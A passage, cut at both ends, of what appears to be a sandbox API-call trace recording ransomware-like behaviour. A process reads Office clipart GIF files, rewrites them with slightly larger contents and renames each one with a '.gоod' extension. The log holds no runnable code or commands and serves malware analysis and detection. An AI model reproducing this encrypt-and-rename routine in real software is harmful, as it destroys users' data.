fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c701ed9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2e83)) returned 1 [0134.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0134.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.gоod")) returned 1 [0134.602] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF", lpFilePart=0x0) returned 0x44 [0134.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0134.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3878620 | out: lpFileInformation=0x3878620*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205)) returned 1 [0134.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0134.603] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF", lpFilePart=0x0) returned 0x44 [0134.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0134.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0134.604] GetFileType (hFile=0x6e0) returned 0x1 [0134.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0134.604] GetFileType (hFile=0x6e0) returned 0x1 [0134.604] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x205 [0134.604] ReadFile (in: hFile=0x6e0, lpBuffer=0x3878ad0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3878ad0*, lpNumberOfBytesRead=0x1faedc88*=0x205, lpOverlapped=0x0) returned 1 [0135.103] CloseHandle (hObject=0x6e0) returned 1 [0135.403] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF", lpFilePart=0x0) returned 0x44 [0135.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0135.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0135.404] GetFileType (hFile=0x618) returned 0x1 [0135.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0135.404] GetFileType (hFile=0x618) returned 0x1 [0135.404] WriteFile (in: hFile=0x618, lpBuffer=0x38d1410*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x38d1410*, lpNumberOfBytesWritten=0x1faedb98*=0x210, lpOverlapped=0x0) returned 1 [0135.405] CloseHandle (hObject=0x618) returned 1 [0135.405] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF", lpFilePart=0x0) returned 0x44 [0135.405] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0135.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0135.405] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cec18fa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x210)) returned 1 [0135.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0135.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.gоod")) returned 1 [0135.406] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF", lpFilePart=0x0) returned 0x44 [0135.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0135.406] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), fInfoLevelId=0x0, lpFileInformation=0x38d26a0 | out: lpFileInformation=0x38d26a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6)) returned 1 [0135.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0135.406] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF", lpFilePart=0x0) returned 0x44 [0135.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0135.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0135.406] GetFileType (hFile=0x618) returned 0x1 [0135.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0135.406] GetFileType (hFile=0x618) returned 0x1 [0135.407] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x1f6 [0135.407] ReadFile (in: hFile=0x618, lpBuffer=0x38d2b40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x38d2b40*, lpNumberOfBytesRead=0x1faedc88*=0x1f6, lpOverlapped=0x0) returned 1 [0135.589] CloseHandle (hObject=0x618) returned 1 [0135.616] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF", lpFilePart=0x0) returned 0x44 [0135.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0135.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0135.617] GetFileType (hFile=0x618) returned 0x1 [0135.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0135.617] GetFileType (hFile=0x618) returned 0x1 [0135.617] WriteFile (in: hFile=0x618, lpBuffer=0x37e3408*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x37e3408*, lpNumberOfBytesWritten=0x1faedb98*=0x200, lpOverlapped=0x0) returned 1 [0135.618] CloseHandle (hObject=0x618) returned 1 [0135.618] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF", lpFilePart=0x0) returned 0x44 [0135.618] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0135.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0135.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4d0b183c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x200)) returned 1 [0135.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0135.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.gоod")) returned 1 [0135.619] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", lpFilePart=0x0) returned 0x44 [0135.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0135.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), fInfoLevelId=0x0, lpFileInformation=0x37e4698 | out: lpFileInformation=0x37e4698*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x319e)) returned 1 [0135.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0135.619] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", lpFilePart=0x0) returned 0x44 [0135.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0135.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0135.620] GetFileType (hFile=0x618) returned 0x1 [0135.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0135.620] GetFileType (hFile=0x618) returned 0x1 [0135.620] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0135.620] ReadFile (in: hFile=0x618, lpBuffer=0x37e4ab0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37e4ab0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0136.260] CloseHandle (hObject=0x618) returned 1 [0136.435] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", lpFilePart=0x0) returned 0x44 [0136.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0136.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0136.467] GetFileType (hFile=0x618) returned 0x1 [0136.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0136.467] GetFileType (hFile=0x618) returned 0x1 [0136.467] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x319e [0136.467] WriteFile (in: hFile=0x618, lpBuffer=0x397e828*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x397e828*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0136.468] CloseHandle (hObject=0x618) returned 1 [0136.468] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", lpFilePart=0x0) returned 0x44 [0136.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0136.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0136.469] GetFileType (hFile=0x618) returned 0x1 [0136.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0136.469] GetFileType (hFile=0x618) returned 0x1 [0136.469] ReadFile (in: hFile=0x618, lpBuffer=0x3980ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3980ae8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0137.692] CloseHandle (hObject=0x618) returned 1 [0137.693] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", lpFilePart=0x0) returned 0x44 [0137.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0137.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0137.693] GetFileType (hFile=0x618) returned 0x1 [0137.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0137.693] GetFileType (hFile=0x618) returned 0x1 [0137.693] WriteFile (in: hFile=0x618, lpBuffer=0x37c60b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x37c60b8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0137.693] CloseHandle (hObject=0x618) returned 1 [0137.693] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF", lpFilePart=0x0) returned 0x44 [0137.693] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0137.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0137.693] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4e4830ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x31ae)) returned 1 [0137.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0137.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.gоod")) returned 1 [0137.695] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF", lpFilePart=0x0) returned 0x44 [0137.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0137.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a243a8 | out: lpFileInformation=0x3a243a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9c)) returned 1 [0137.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0137.695] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF", lpFilePart=0x0) returned 0x44 [0137.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0137.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0137.695] GetFileType (hFile=0x618) returned 0x1 [0137.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0137.695] GetFileType (hFile=0x618) returned 0x1 [0137.695] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xd9c [0137.695] ReadFile (in: hFile=0x618, lpBuffer=0x3a253f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3a253f0*, lpNumberOfBytesRead=0x1faedc88*=0xd9c, lpOverlapped=0x0) returned 1 [0137.698] CloseHandle (hObject=0x618) returned 1 [0137.899] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF", lpFilePart=0x0) returned 0x44 [0137.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0137.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0137.901] GetFileType (hFile=0x618) returned 0x1 [0137.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0137.901] GetFileType (hFile=0x618) returned 0x1 [0137.901] WriteFile (in: hFile=0x618, lpBuffer=0x3a03640*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3a03640*, lpNumberOfBytesWritten=0x1faedb98*=0xda0, lpOverlapped=0x0) returned 1 [0137.902] CloseHandle (hObject=0x618) returned 1 [0137.902] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF", lpFilePart=0x0) returned 0x44 [0137.902] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0137.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0137.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4e699175, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xda0)) returned 1 [0137.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0137.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.gоod" (normalized: "c:\\program files\\microsoft 